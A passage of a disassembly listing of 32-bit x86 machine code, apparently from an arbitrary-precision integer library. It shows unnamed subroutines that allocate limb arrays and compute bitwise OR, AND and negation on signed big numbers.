080611b7  75 07                 jne      080611c0 <Unknown0318+0x14>
080611b9  31 c0                 xor      %eax,%eax
080611bb  eb 08                 jmp      080611c5 <Unknown0318+0x19>
080611bd  8d 76 00              lea      0x0(%esi),%esi
080611c0  8b 40 08              mov      0x8(%eax),%eax
080611c3  8b 00                 mov      (%eax),%eax
080611c5  5d                    pop      %ebp
080611c6  c3                    ret
080611c7  90                    nop


  ;
  ; >--------------------<  Subroutine # 319 >--------------------<
  ;
080611c8 <Unknown0319>:
080611c8  55                    push     %ebp
080611c9  89 e5                 mov      %esp,%ebp
080611cb  53                    push     %ebx
080611cc  83 ec 10              sub      $0x10,%esp
080611cf  8b 5d 08              mov      0x8(%ebp),%ebx
080611d2  c7 03 01 00 00 00     movl     $0x1,(%ebx)   ;1 'x1 x0 x0 x0' ""
080611d8  6a 04                 push     $0x4
080611da  ff 15 28 93 07 08     call     *0x8079328   ;[in .data] 134623100 'x7c x2f x6 x8' "|/"
080611e0  89 43 08              mov      %eax,0x8(%ebx)
080611e3  c7 43 04 00 00 00 00  movl     $0x0,0x4(%ebx)   ;0 'x0 x0 x0 x0' ""
080611ea  8b 5d fc              mov      0xfffffffc(%ebp),%ebx
080611ed  c9                    leave
080611ee  c3                    ret
080611ef  90                    nop


  ;
  ; >--------------------<  Subroutine # 320 >--------------------<
  ;
080611f0 <Unknown0320>:
080611f0  55                    push     %ebp
080611f1  89 e5                 mov      %esp,%ebp
080611f3  57                    push     %edi
080611f4  56                    push     %esi
080611f5  53                    push     %ebx
080611f6  83 ec 1c              sub      $0x1c,%esp
080611f9  8b 45 0c              mov      0xc(%ebp),%eax
080611fc  8b 40 04              mov      0x4(%eax),%eax
080611ff  89 45 e8              mov      %eax,0xffffffe8(%ebp)
08061202  8b 45 0c              mov      0xc(%ebp),%eax
08061205  8b 40 08              mov      0x8(%eax),%eax
08061208  8b 5d 10              mov      0x10(%ebp),%ebx
0806120b  8b 7b 04              mov      0x4(%ebx),%edi
0806120e  89 45 f0              mov      %eax,0xfffffff0(%ebp)
08061211  8b 43 08              mov      0x8(%ebx),%eax
08061214  89 45 ec              mov      %eax,0xffffffec(%ebp)
08061217  8b 45 08              mov      0x8(%ebp),%eax
0806121a  8b 40 08              mov      0x8(%eax),%eax
0806121d  89 45 e4              mov      %eax,0xffffffe4(%ebp)
```

```
08061220   8b 45 e8            mov    0xffffffe8(%ebp),%eax
08061223   85 c0               test   %eax,%eax
08061225   0f 88 01 01 00 00    js     0806132c <Unknown0320+0x13c>  ;257 'x1 x1 x0 x0' ""
0806122b   85 ff               test   %edi,%edi
0806122d   0f 88 a4 02 00 00    js     080614d7 <Unknown0320+0x2e7>  ;676 'xa4 x2 x0 x0' ""
08061233   39 7d e8            cmp    %edi,0xffffffe8(%ebp)
08061236   7c 78               jl     080612b0 <Unknown0320+0xc0>
08061238   8b 4d e8            mov    0xffffffe8(%ebp),%ecx
0806123b   8b 55 08            mov    0x8(%ebp),%edx
0806123e   39 0a               cmp    %ecx,(%edx)
08061240   7d 25               jge    08061267 <Unknown0320+0x77>
08061242   83 ec 08            sub    $0x8,%esp
08061245   51                  push   %ecx
08061246   52                  push   %edx
08061247   e8 04 11 00 00       call   08062350 <Unknown0331>
0806124c   8b 45 0c            mov    0xc(%ebp),%eax
0806124f   8b 40 08            mov    0x8(%eax),%eax
08061252   89 45 f0            mov    %eax,0xfffffff0(%ebp)
08061255   8b 43 08            mov    0x8(%ebx),%eax
08061258   89 45 ec            mov    %eax,0xffffffec(%ebp)
0806125b   8b 45 08            mov    0x8(%ebp),%eax
0806125e   8b 40 08            mov    0x8(%eax),%eax
08061261   89 45 e4            mov    %eax,0xffffffe4(%ebp)
08061264   83 c4 10            add    $0x10,%esp
08061267   8b 55 f0            mov    0xfffffff0(%ebp),%edx
0806126a   39 55 e4            cmp    %edx,0xffffffe4(%ebp)
0806126d   74 1d               je     0806128c <Unknown0320+0x9c>
0806126f   8b 45 e8            mov    0xffffffe8(%ebp),%eax
08061272   29 f8               sub    %edi,%eax
08061274   85 c0               test   %eax,%eax
08061276   7e 14               jle    0806128c <Unknown0320+0x9c>
08061278   89 fa               mov    %edi,%edx
0806127a   89 c1               mov    %eax,%ecx
0806127c   8b 5d f0            mov    0xfffffff0(%ebp),%ebx
0806127f   8b 04 93            mov    (%ebx,%edx,4),%eax
08061282   8b 5d e4            mov    0xffffffe4(%ebp),%ebx
08061285   89 04 93            mov    %eax,(%ebx,%edx,4)
08061288   42                  inc    %edx
08061289   49                  dec    %ecx
0806128a   75 f0               jne    0806127c <Unknown0320+0x8c>
0806128c   89 fa               mov    %edi,%edx
0806128e   4a                  dec    %edx
0806128f   78 18               js     080612a9 <Unknown0320+0xb9>
08061291   8d 76 00            lea    0x0(%esi),%esi
08061294   8b 4d ec            mov    0xffffffec(%ebp),%ecx
08061297   8b 04 91            mov    (%ecx,%edx,4),%eax
0806129a   8b 5d f0            mov    0xfffffff0(%ebp),%ebx
0806129d   0b 04 93            or     (%ebx,%edx,4),%eax
080612a0   8b 4d e4            mov    0xffffffe4(%ebp),%ecx
080612a3   89 04 91            mov    %eax,(%ecx,%edx,4)
080612a6   4a                  dec    %edx
080612a7   79 eb               jns    08061294 <Unknown0320+0xa4>
080612a9   8b 7d e8            mov    0xffffffe8(%ebp),%edi
080612ac   eb 73               jmp    08061321 <Unknown0320+0x131>
080612ae   89 f6               mov    %esi,%esi
080612b0   8b 45 08            mov    0x8(%ebp),%eax
080612b3   39 38               cmp    %edi,(%eax)
080612b5   7d 25               jge    080612dc <Unknown0320+0xec>
080612b7   83 ec 08            sub    $0x8,%esp
080612ba   57                  push   %edi
080612bb   50                  push   %eax
080612bc   e8 8f 10 00 00       call   08062350 <Unknown0331>
080612c1   8b 45 0c            mov    0xc(%ebp),%eax
080612c4   8b 40 08            mov    0x8(%eax),%eax
080612c7   89 45 f0            mov    %eax,0xfffffff0(%ebp)
080612ca   8b 43 08            mov    0x8(%ebx),%eax
080612cd   89 45 ec            mov    %eax,0xffffffec(%ebp)
080612d0   8b 45 08            mov    0x8(%ebp),%eax
080612d3   8b 40 08            mov    0x8(%eax),%eax
080612d6   89 45 e4            mov    %eax,0xffffffe4(%ebp)
080612d9   83 c4 10            add    $0x10,%esp
080612dc   8b 55 ec            mov    0xffffffec(%ebp),%edx
080612df   39 55 e4            cmp    %edx,0xffffffe4(%ebp)
080612e2   74 20               je     08061304 <Unknown0320+0x114>
080612e4   89 f8               mov    %edi,%eax
080612e6   2b 45 e8            sub    0xffffffe8(%ebp),%eax
080612e9   85 c0               test   %eax,%eax
080612eb   7e 17               jle    08061304 <Unknown0320+0x114>
080612ed   8b 55 e8            mov    0xffffffe8(%ebp),%edx
080612f0   89 c1               mov    %eax,%ecx
080612f2   89 f6               mov    %esi,%esi
080612f4   8b 5d ec            mov    0xffffffec(%ebp),%ebx
080612f7   8b 04 93            mov    (%ebx,%edx,4),%eax
080612fa   8b 5d e4            mov    0xffffffe4(%ebp),%ebx
```

```
080612fd  89 04 93           mov    %eax,(%ebx,%edx,4)
08061300  42                 inc    %edx
08061301  49                 dec    %ecx
08061302  75 f0              jne    080612f4 <Unknown0320+0x104>
08061304  8b 55 e8           mov    0xffffffe8(%ebp),%edx
08061307  4a                 dec    %edx
08061308  78 17              js     08061321 <Unknown0320+0x131>
0806130a  89 f6              mov    %esi,%esi
0806130c  8b 4d ec           mov    0xffffffec(%ebp),%ecx
0806130f  8b 04 91           mov    (%ecx,%edx,4),%eax
08061312  8b 5d f0           mov    0xfffffff0(%ebp),%ebx
08061315  0b 04 93           or     (%ebx,%edx,4),%eax
08061318  8b 4d e4           mov    0xffffffe4(%ebp),%ecx
0806131b  89 04 91           mov    %eax,(%ecx,%edx,4)
0806131e  4a                 dec    %edx
0806131f  79 eb              jns    0806130c <Unknown0320+0x11c>
08061321  8b 5d 08           mov    0x8(%ebp),%ebx
08061324  89 7b 04           mov    %edi,0x4(%ebx)
08061327  e9 0e 03 00 00     jmp    0806163a <Unknown0320+0x44a>  ;782 'xe x3 x0 x0' ""
0806132c  85 ff              test   %edi,%edi
0806132e  0f 89 8c 01 00 00  jns    080614c0 <Unknown0320+0x2d0>  ;396 'x8c x1 x0 x0' ""
08061334  f7 5d e8           negl   0xffffffe8(%ebp)
08061337  f7 df              neg    %edi
08061339  3b 7d e8           cmp    0xffffffe8(%ebp),%edi
0806133c  7e 03              jle    08061341 <Unknown0320+0x151>
0806133e  8b 7d e8           mov    0xffffffe8(%ebp),%edi
08061341  8d 04 bd 0f 00 00 00  lea  0xf(,%edi,4),%eax  ;15 'xf x0 x0 x0' ""
08061348  83 e0 f0           and    $0xfffffff0,%eax
0806134b  29 c4              sub    %eax,%esp
0806134d  89 65 e0           mov    %esp,0xffffffe0(%ebp)
08061350  8b 45 f0           mov    0xfffffff0(%ebp),%eax
08061353  8b 10              mov    (%eax),%edx
08061355  89 c6              mov    %eax,%esi
08061357  89 d0              mov    %edx,%eax
08061359  83 e8 01           sub    $0x1,%eax
0806135c  83 c6 04           add    $0x4,%esi
0806135f  39 d0              cmp    %edx,%eax
08061361  89 fb              mov    %edi,%ebx
08061363  89 04 24           mov    %eax,(%esp,1)
08061366  8d 4c 24 04        lea    0x4(%esp,1),%ecx
0806136a  76 1c              jbe    08061388 <Unknown0320+0x198>
0806136c  4b                 dec    %ebx
0806136d  74 30              je     0806139f <Unknown0320+0x1af>
0806136f  90                 nop
08061370  8b 16              mov    (%esi),%edx
08061372  8d 42 ff           lea    0xffffffff(%edx),%eax
08061375  83 c6 04           add    $0x4,%esi
08061378  89 01              mov    %eax,(%ecx)
0806137a  83 c1 04           add    $0x4,%ecx
0806137d  85 d2              test   %edx,%edx
0806137f  75 07              jne    08061388 <Unknown0320+0x198>
08061381  4b                 dec    %ebx
08061382  75 ec              jne    08061370 <Unknown0320+0x180>
08061384  eb 19              jmp    0806139f <Unknown0320+0x1af>
08061386  89 f6              mov    %esi,%esi
08061388  39 f1              cmp    %esi,%ecx
0806138a  74 13              je     0806139f <Unknown0320+0x1af>
0806138c  31 d2              xor    %edx,%edx
0806138e  4b                 dec    %ebx
0806138f  39 da              cmp    %ebx,%edx
08061391  7d 0c              jge    0806139f <Unknown0320+0x1af>
08061393  90                 nop
08061394  8b 04 96           mov    (%esi,%edx,4),%eax
08061397  89 04 91           mov    %eax,(%ecx,%edx,4)
0806139a  42                 inc    %edx
0806139b  39 da              cmp    %ebx,%edx
0806139d  7c f5              jl     08061394 <Unknown0320+0x1a4>
0806139f  8d 04 bd 0f 00 00 00  lea  0xf(,%edi,4),%eax  ;15 'xf x0 x0 x0' ""
080613a6  83 e0 f0           and    $0xfffffff0,%eax
080613a9  29 c4              sub    %eax,%esp
080613ab  8b 55 e0           mov    0xffffffe0(%ebp),%edx
080613ae  8b 4d ec           mov    0xffffffec(%ebp),%ecx
080613b1  89 55 f0           mov    %edx,0xfffffff0(%ebp)
080613b4  89 65 e0           mov    %esp,0xffffffe0(%ebp)
080613b7  8b 11              mov    (%ecx),%edx
080613b9  89 d0              mov    %edx,%eax
080613bb  89 ce              mov    %ecx,%esi
080613bd  83 e8 01           sub    $0x1,%eax
080613c0  83 c6 04           add    $0x4,%esi
080613c3  39 d0              cmp    %edx,%eax
080613c5  89 fb              mov    %edi,%ebx
080613c7  89 04 24           mov    %eax,(%esp,1)
080613ca  8d 4c 24 04        lea    0x4(%esp,1),%ecx
080613ce  76 1c              jbe    080613ec <Unknown0320+0x1fc>
```

```
080613d0  4b                       dec     %ebx
080613d1  74 30                    je      08061403 <Unknown0320+0x213>
080613d3  90                       nop
080613d4  8b 16                    mov     (%esi),%edx
080613d6  8d 42 ff                 lea     0xffffffff(%edx),%eax
080613d9  83 c6 04                 add     $0x4,%esi
080613dc  89 01                    mov     %eax,(%ecx)
080613de  83 c1 04                 add     $0x4,%ecx
080613e1  85 d2                    test    %edx,%edx
080613e3  75 07                    jne     080613ec <Unknown0320+0x1fc>
080613e5  4b                       dec     %ebx
080613e6  75 ec                    jne     080613d4 <Unknown0320+0x1e4>
080613e8  eb 19                    jmp     08061403 <Unknown0320+0x213>
080613ea  89 f6                    mov     %esi,%esi
080613ec  39 f1                    cmp     %esi,%ecx
080613ee  74 13                    je      08061403 <Unknown0320+0x213>
080613f0  31 d2                    xor     %edx,%edx
080613f2  4b                       dec     %ebx
080613f3  39 da                    cmp     %ebx,%edx
080613f5  7d 0c                    jge     08061403 <Unknown0320+0x213>
080613f7  90                       nop
080613f8  8b 04 96                 mov     (%esi,%edx,4),%eax
080613fb  89 04 91                 mov     %eax,(%ecx,%edx,4)
080613fe  42                       inc     %edx
080613ff  39 da                    cmp     %ebx,%edx
08061401  7c f5                    jl      080613f8 <Unknown0320+0x208>
08061403  8b 5d e0                 mov     0xffffffe0(%ebp),%ebx
08061406  89 5d ec                 mov     %ebx,0xffffffec(%ebp)
08061409  8b 45 08                 mov     0x8(%ebp),%eax
0806140c  39 38                    cmp     %edi,(%eax)
0806140e  7d 16                    jge     08061426 <Unknown0320+0x236>
08061410  83 ec 08                 sub     $0x8,%esp
08061413  57                       push    %edi
08061414  50                       push    %eax
08061415  e8 36 0f 00 00           call    08062350 <Unknown0331>
0806141a  8b 45 08                 mov     0x8(%ebp),%eax
0806141d  8b 40 08                 mov     0x8(%eax),%eax
08061420  89 45 e4                 mov     %eax,0xffffffe4(%ebp)
08061423  83 c4 10                 add     $0x10,%esp
08061426  89 fa                    mov     %edi,%edx
08061428  4a                       dec     %edx
08061429  78 16                    js      08061441 <Unknown0320+0x251>
0806142b  8b 4d ec                 mov     0xffffffec(%ebp),%ecx
0806142e  eb 06                    jmp     08061436 <Unknown0320+0x246>
08061430  4a                       dec     %edx
08061431  78 0e                    js      08061441 <Unknown0320+0x251>
08061433  8b 4d e0                 mov     0xffffffe0(%ebp),%ecx
08061436  8b 04 91                 mov     (%ecx,%edx,4),%eax
08061439  8b 5d f0                 mov     0xfffffff0(%ebp),%ebx
0806143c  85 04 93                 test    %eax,(%ebx,%edx,4)
0806143f  74 ef                    je      08061430 <Unknown0320+0x240>
08061441  89 d7                    mov     %edx,%edi
08061443  47                       inc     %edi
08061444  0f 84 da 01 00 00        je      08061624 <Unknown0320+0x434>   ;474 'xda x1 x0 x0' ""
0806144a  85 d2                    test    %edx,%edx
0806144c  78 17                    js      08061465 <Unknown0320+0x275>
0806144e  89 f6                    mov     %esi,%esi
08061450  8b 4d e0                 mov     0xffffffe0(%ebp),%ecx
08061453  8b 04 91                 mov     (%ecx,%edx,4),%eax
08061456  8b 5d f0                 mov     0xfffffff0(%ebp),%ebx
08061459  23 04 93                 and     (%ebx,%edx,4),%eax
0806145c  8b 4d e4                 mov     0xffffffe4(%ebp),%ecx
0806145f  89 04 91                 mov     %eax,(%ecx,%edx,4)
08061462  4a                       dec     %edx
08061463  79 eb                    jns     08061450 <Unknown0320+0x260>
08061465  8b 5d e4                 mov     0xffffffe4(%ebp),%ebx
08061468  8b 13                    mov     (%ebx),%edx
0806146a  8d 42 01                 lea     0x1(%edx),%eax
0806146d  83 c3 04                 add     $0x4,%ebx
08061470  8b 4d e4                 mov     0xffffffe4(%ebp),%ecx
08061473  39 d0                    cmp     %edx,%eax
08061475  89 01                    mov     %eax,(%ecx)
08061477  89 fe                    mov     %edi,%esi
08061479  89 d9                    mov     %ebx,%ecx
0806147b  73 1f                    jae     0806149c <Unknown0320+0x2ac>
0806147d  4e                       dec     %esi
0806147e  0f 84 6e 01 00 00        je      080615f2 <Unknown0320+0x402>   ;366 'x6e x1 x0 x0' "n"
08061484  8b 13                    mov     (%ebx),%edx
08061486  42                       inc     %edx
08061487  83 c3 04                 add     $0x4,%ebx
0806148a  89 11                    mov     %edx,(%ecx)
0806148c  83 c1 04                 add     $0x4,%ecx
0806148f  85 d2                    test    %edx,%edx
08061491  75 09                    jne     0806149c <Unknown0320+0x2ac>
```

```
08061493  4e                      dec    %esi
08061494  75 ee                   jne    08061484 <Unknown0320+0x294>
08061496  e9 57 01 00 00          jmp    080615f2 <Unknown0320+0x402>    ;343 'x57 x1 x0 x0' "W"
0806149b  90                      nop
0806149c  39 d9                   cmp    %ebx,%ecx
0806149e  0f 84 6f 01 00 00       je     08061613 <Unknown0320+0x423>    ;367 'x6f x1 x0 x0' "o"
080614a4  31 d2                   xor    %edx,%edx
080614a6  4e                      dec    %esi
080614a7  39 f2                   cmp    %esi,%edx
080614a9  0f 8d 64 01 00 00       jge    08061613 <Unknown0320+0x423>    ;356 'x64 x1 x0 x0' "d"
080614af  90                      nop
080614b0  8b 04 93                mov    (%ebx,%edx,4),%eax
080614b3  89 04 91                mov    %eax,(%ecx,%edx,4)
080614b6  42                      inc    %edx
080614b7  39 f2                   cmp    %esi,%edx
080614b9  7c f5                   jl     080614b0 <Unknown0320+0x2c0>
080614bb  e9 53 01 00 00          jmp    08061613 <Unknown0320+0x423>    ;339 'x53 x1 x0 x0' "S"
080614c0  8b 45 f0                mov    0xfffffff0(%ebp),%eax
080614c3  8b 4d ec                mov    0xffffffec(%ebp),%ecx
080614c6  89 45 ec                mov    %eax,0xffffffec(%ebp)
080614c9  8b 45 e8                mov    0xffffffe8(%ebp),%eax
080614cc  89 5d 0c                mov    %ebx,0xc(%ebp)
080614cf  89 7d e8                mov    %edi,0xffffffe8(%ebp)
080614d2  89 4d f0                mov    %ecx,0xfffffff0(%ebp)
080614d5  89 c7                   mov    %eax,%edi
080614d7  f7 df                   neg    %edi
080614d9  8d 04 bd 0f 00 00 00    lea    0xf(,%edi,4),%eax    ;15 'xf x0 x0 x0' ""
080614e0  83 e0 f0                and    $0xfffffff0,%eax
080614e3  29 c4                   sub    %eax,%esp
080614e5  89 65 dc                mov    %esp,0xffffffdc(%ebp)
080614e8  8b 45 ec                mov    0xffffffec(%ebp),%eax
080614eb  8b 10                   mov    (%eax),%edx
080614ed  89 c6                   mov    %eax,%esi
080614ef  89 d0                   mov    %edx,%eax
080614f1  83 e8 01                sub    $0x1,%eax
080614f4  83 c6 04                add    $0x4,%esi
080614f7  39 d0                   cmp    %edx,%eax
080614f9  89 fb                   mov    %edi,%ebx
080614fb  89 04 24                mov    %eax,(%esp,1)
080614fe  8d 4c 24 04             lea    0x4(%esp,1),%ecx
08061502  76 1c                   jbe    08061520 <Unknown0320+0x330>
08061504  4b                      dec    %ebx
08061505  74 30                   je     08061537 <Unknown0320+0x347>
08061507  90                      nop
08061508  8b 16                   mov    (%esi),%edx
0806150a  8d 42 ff                lea    0xffffffff(%edx),%eax
0806150d  83 c6 04                add    $0x4,%esi
08061510  89 01                   mov    %eax,(%ecx)
08061512  83 c1 04                add    $0x4,%ecx
08061515  85 d2                   test   %edx,%edx
08061517  75 07                   jne    08061520 <Unknown0320+0x330>
08061519  4b                      dec    %ebx
0806151a  75 ec                   jne    08061508 <Unknown0320+0x318>
0806151c  eb 19                   jmp    08061537 <Unknown0320+0x347>
0806151e  89 f6                   mov    %esi,%esi
08061520  39 f1                   cmp    %esi,%ecx
08061522  74 13                   je     08061537 <Unknown0320+0x347>
08061524  31 d2                   xor    %edx,%edx
08061526  4b                      dec    %ebx
08061527  39 da                   cmp    %ebx,%edx
08061529  7d 0c                   jge    08061537 <Unknown0320+0x347>
0806152b  90                      nop
0806152c  8b 04 96                mov    (%esi,%edx,4),%eax
0806152f  89 04 91                mov    %eax,(%ecx,%edx,4)
08061532  42                      inc    %edx
08061533  39 da                   cmp    %ebx,%edx
08061535  7c f5                   jl     0806152c <Unknown0320+0x33c>
08061537  8b 55 08                mov    0x8(%ebp),%edx
0806153a  39 3a                   cmp    %edi,(%edx)
0806153c  7d 1f                   jge    0806155d <Unknown0320+0x36d>
0806153e  83 ec 08                sub    $0x8,%esp
08061541  57                      push   %edi
08061542  52                      push   %edx
08061543  e8 08 0e 00 00          call   08062350 <Unknown0331>
08061548  8b 45 0c                mov    0xc(%ebp),%eax
0806154b  8b 40 08                mov    0x8(%eax),%eax
0806154e  89 45 f0                mov    %eax,0xfffffff0(%ebp)
08061551  8b 45 08                mov    0x8(%ebp),%eax
08061554  8b 40 08                mov    0x8(%eax),%eax
08061557  89 45 e4                mov    %eax,0xffffffe4(%ebp)
0806155a  83 c4 10                add    $0x10,%esp
0806155d  39 7d e8                cmp    %edi,0xffffffe8(%ebp)
08061560  7c 1e                   jl     08061580 <Unknown0320+0x390>
08061562  89 fa                   mov    %edi,%edx
```

```
08061564    4a                          dec     %edx
08061565    78 12                       js      08061579 <Unknown0320+0x389>
08061567    8b 4d f0                    mov     0xfffffff0(%ebp),%ecx
0806156a    8b 04 91                    mov     (%ecx,%edx,4),%eax
0806156d    f7 d0                       not     %eax
0806156f    8b 5d dc                    mov     0xffffffdc(%ebp),%ebx
08061572    23 04 93                    and     (%ebx,%edx,4),%eax
08061575    85 c0                       test    %eax,%eax
08061577    74 eb                       je      08061564 <Unknown0320+0x374>
08061579    8d 7a 01                    lea     0x1(%edx),%edi
0806157c    89 f8                       mov     %edi,%eax
0806157e    eb 23                       jmp     080615a3 <Unknown0320+0x3b3>
08061580    89 f8                       mov     %edi,%eax
08061582    2b 45 e8                    sub     0xffffffe8(%ebp),%eax
08061585    85 c0                       test    %eax,%eax
08061587    7e 17                       jle     080615a0 <Unknown0320+0x3b0>
08061589    8b 55 e8                    mov     0xffffffe8(%ebp),%edx
0806158c    89 c1                       mov     %eax,%ecx
0806158e    89 f6                       mov     %esi,%esi
08061590    8b 5d dc                    mov     0xffffffdc(%ebp),%ebx
08061593    8b 04 93                    mov     (%ebx,%edx,4),%eax
08061596    8b 5d e4                    mov     0xffffffe4(%ebp),%ebx
08061599    89 04 93                    mov     %eax,(%ebx,%edx,4)
0806159c    42                          inc     %edx
0806159d    49                          dec     %ecx
0806159e    75 f0                       jne     08061590 <Unknown0320+0x3a0>
080615a0    8b 45 e8                    mov     0xffffffe8(%ebp),%eax
080615a3    85 ff                       test    %edi,%edi
080615a5    74 7d                       je      08061624 <Unknown0320+0x434>
080615a7    89 c2                       mov     %eax,%edx
080615a9    4a                          dec     %edx
080615aa    78 17                       js      080615c3 <Unknown0320+0x3d3>
080615ac    8b 4d f0                    mov     0xfffffff0(%ebp),%ecx
080615af    8b 04 91                    mov     (%ecx,%edx,4),%eax
080615b2    8b 5d dc                    mov     0xffffffdc(%ebp),%ebx
080615b5    f7 d0                       not     %eax
080615b7    23 04 93                    and     (%ebx,%edx,4),%eax
080615ba    8b 4d e4                    mov     0xffffffe4(%ebp),%ecx
080615bd    89 04 91                    mov     %eax,(%ecx,%edx,4)
080615c0    4a                          dec     %edx
080615c1    79 e9                       jns     080615ac <Unknown0320+0x3bc>
080615c3    8b 5d e4                    mov     0xffffffe4(%ebp),%ebx
080615c6    8b 13                       mov     (%ebx),%edx
080615c8    8d 42 01                    lea     0x1(%edx),%eax
080615cb    83 c3 04                    add     $0x4,%ebx
080615ce    8b 4d e4                    mov     0xffffffe4(%ebp),%ecx
080615d1    39 d0                       cmp     %edx,%eax
080615d3    89 01                       mov     %eax,(%ecx)
080615d5    89 fe                       mov     %edi,%esi
080615d7    89 d9                       mov     %ebx,%ecx
080615d9    73 21                       jae     080615fc <Unknown0320+0x40c>
080615db    4e                          dec     %esi
080615dc    74 14                       je      080615f2 <Unknown0320+0x402>
080615de    89 f6                       mov     %esi,%esi
080615e0    8b 13                       mov     (%ebx),%edx
080615e2    42                          inc     %edx
080615e3    83 c3 04                    add     $0x4,%ebx
080615e6    89 11                       mov     %edx,(%ecx)
080615e8    83 c1 04                    add     $0x4,%ecx
080615eb    85 d2                       test    %edx,%edx
080615ed    75 0d                       jne     080615fc <Unknown0320+0x40c>
080615ef    4e                          dec     %esi
080615f0    75 ee                       jne     080615e0 <Unknown0320+0x3f0>
080615f2    b8 01 00 00 00              mov     $0x1,%eax    ;1 'x1 x0 x0 x0' ""
080615f7    eb 1c                       jmp     08061615 <Unknown0320+0x425>
080615f9    8d 76 00                    lea     0x0(%esi),%esi
080615fc    39 d9                       cmp     %ebx,%ecx
080615fe    74 13                       je      08061613 <Unknown0320+0x423>
08061600    31 d2                       xor     %edx,%edx
08061602    4e                          dec     %esi
08061603    39 f2                       cmp     %esi,%edx
08061605    7d 0c                       jge     08061613 <Unknown0320+0x423>
08061607    90                          nop
08061608    8b 04 93                    mov     (%ebx,%edx,4),%eax
0806160b    89 04 91                    mov     %eax,(%ecx,%edx,4)
0806160e    42                          inc     %edx
0806160f    39 f2                       cmp     %esi,%edx
08061611    7c f5                       jl      08061608 <Unknown0320+0x418>
08061613    31 c0                       xor     %eax,%eax
08061615    85 c0                       test    %eax,%eax
08061617    74 19                       je      08061632 <Unknown0320+0x442>
08061619    8b 5d e4                    mov     0xffffffe4(%ebp),%ebx
0806161c    89 04 bb                    mov     %eax,(%ebx,%edi,4)
0806161f    47                          inc     %edi
```

```
08061620   eb 10                   jmp     08061632 <Unknown0320+0x442>
08061622   89 f6                   mov     %esi,%esi
08061624   8b 45 e4                mov     0xffffffe4(%ebp),%eax
08061627   c7 00 01 00 00 00       movl    $0x1,(%eax)    ;1 'x1 x0 x0 x0' ""
0806162d   bf 01 00 00 00          mov     $0x1,%edi      ;1 'x1 x0 x0 x0' ""
08061632   f7 df                   neg     %edi
08061634   8b 55 08                mov     0x8(%ebp),%edx
08061637   89 7a 04                mov     %edi,0x4(%edx)
0806163a   8d 65 f4                lea     0xfffffff4(%ebp),%esp
0806163d   5b                      pop     %ebx
0806163e   5e                      pop     %esi
0806163f   5f                      pop     %edi
08061640   5d                      pop     %ebp
08061641   c3                      ret
08061642   89 f6                   mov     %esi,%esi


   ;
   ; >---------------------<  Subroutine # 321 >---------------------<
   ;
08061644 <Unknown0321>:
08061644   55                      push    %ebp
08061645   89 e5                   mov     %esp,%ebp
08061647   57                      push    %edi
08061648   56                      push    %esi
08061649   53                      push    %ebx
0806164a   83 ec 0c                sub     $0xc,%esp
0806164d   8b 7d 0c                mov     0xc(%ebp),%edi
08061650   8b 77 04                mov     0x4(%edi),%esi
08061653   85 f6                   test    %esi,%esi
08061655   89 f3                   mov     %esi,%ebx
08061657   79 02                   jns     0806165b <Unknown0321+0x17>
08061659   f7 db                   neg     %ebx
0806165b   83 fb 01                cmp     $0x1,%ebx
0806165e   89 d8                   mov     %ebx,%eax
08061660   7d 05                   jge     08061667 <Unknown0321+0x23>
08061662   b8 01 00 00 00          mov     $0x1,%eax      ;1 'x1 x0 x0 x0' ""
08061667   8b 55 08                mov     0x8(%ebp),%edx
0806166a   89 02                   mov     %eax,(%edx)
0806166c   83 ec 0c                sub     $0xc,%esp
0806166f   c1 e0 02                shl     $0x2,%eax
08061672   50                      push    %eax
08061673   ff 15 28 93 07 08       call    *0x8079328   ;[in .data] 134623100 'x7c x2f x6 x8' "|/"
08061679   89 c1                   mov     %eax,%ecx
0806167b   8b 45 08                mov     0x8(%ebp),%eax
0806167e   89 48 08                mov     %ecx,0x8(%eax)
08061681   8b 7f 08                mov     0x8(%edi),%edi
08061684   83 c4 10                add     $0x10,%esp
08061687   31 d2                   xor     %edx,%edx
08061689   39 da                   cmp     %ebx,%edx
0806168b   7d 0e                   jge     0806169b <Unknown0321+0x57>
0806168d   8d 76 00                lea     0x0(%esi),%esi
08061690   8b 04 97                mov     (%edi,%edx,4),%eax
08061693   89 04 91                mov     %eax,(%ecx,%edx,4)
08061696   42                      inc     %edx
08061697   39 da                   cmp     %ebx,%edx
08061699   7c f5                   jl      08061690 <Unknown0321+0x4c>
0806169b   8b 55 08                mov     0x8(%ebp),%edx
0806169e   89 72 04                mov     %esi,0x4(%edx)
080616a1   8d 65 f4                lea     0xfffffff4(%ebp),%esp
080616a4   5b                      pop     %ebx
080616a5   5e                      pop     %esi
080616a6   5f                      pop     %edi
080616a7   5d                      pop     %ebp
080616a8   c3                      ret
080616a9   8d 76 00                lea     0x0(%esi),%esi


   ;
   ; >---------------------<  Subroutine # 322 >---------------------<
   ;
080616ac <Unknown0322>:
080616ac   55                      push    %ebp
080616ad   89 e5                   mov     %esp,%ebp
080616af   56                      push    %esi
080616b0   53                      push    %ebx
080616b1   83 ec 0c                sub     $0xc,%esp
080616b4   8b 5d 08                mov     0x8(%ebp),%ebx
080616b7   c7 03 01 00 00 00       movl    $0x1,(%ebx)    ;1 'x1 x0 x0 x0' ""
080616bd   6a 04                   push    $0x4
080616bf   8b 75 0c                mov     0xc(%ebp),%esi
080616c2   ff 15 28 93 07 08       call    *0x8079328   ;[in .data] 134623100 'x7c x2f x6 x8' "|/"
080616c8   89 43 08                mov     %eax,0x8(%ebx)
080616cb   89 30                   mov     %esi,(%eax)
```

```
080616cd  83 c4 10              add     $0x10,%esp
080616d0  31 c0                 xor     %eax,%eax
080616d2  85 f6                 test    %esi,%esi
080616d4  0f 95 c0              setne   %al
080616d7  89 43 04              mov     %eax,0x4(%ebx)
080616da  8d 65 f8              lea     0xfffffff8(%ebp),%esp
080616dd  5b                    pop     %ebx
080616de  5e                    pop     %esi
080616df  5d                    pop     %ebp
080616e0  c3                    ret
080616e1  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 323 >----------------------<
  ;
080616e4 <Unknown0323>:
080616e4  55                    push    %ebp
080616e5  89 e5                 mov     %esp,%ebp
080616e7  57                    push    %edi
080616e8  56                    push    %esi
080616e9  53                    push    %ebx
080616ea  83 ec 1c              sub     $0x1c,%esp
080616ed  8b 5d 10              mov     0x10(%ebp),%ebx
080616f0  8b 75 08              mov     0x8(%ebp),%esi
080616f3  39 de                 cmp     %ebx,%esi
080616f5  8b 7d 0c              mov     0xc(%ebp),%edi
080616f8  8b 53 04              mov     0x4(%ebx),%edx
080616fb  75 35                 jne     08061732 <Unknown0323+0x4e>
080616fd  85 d2                 test    %edx,%edx
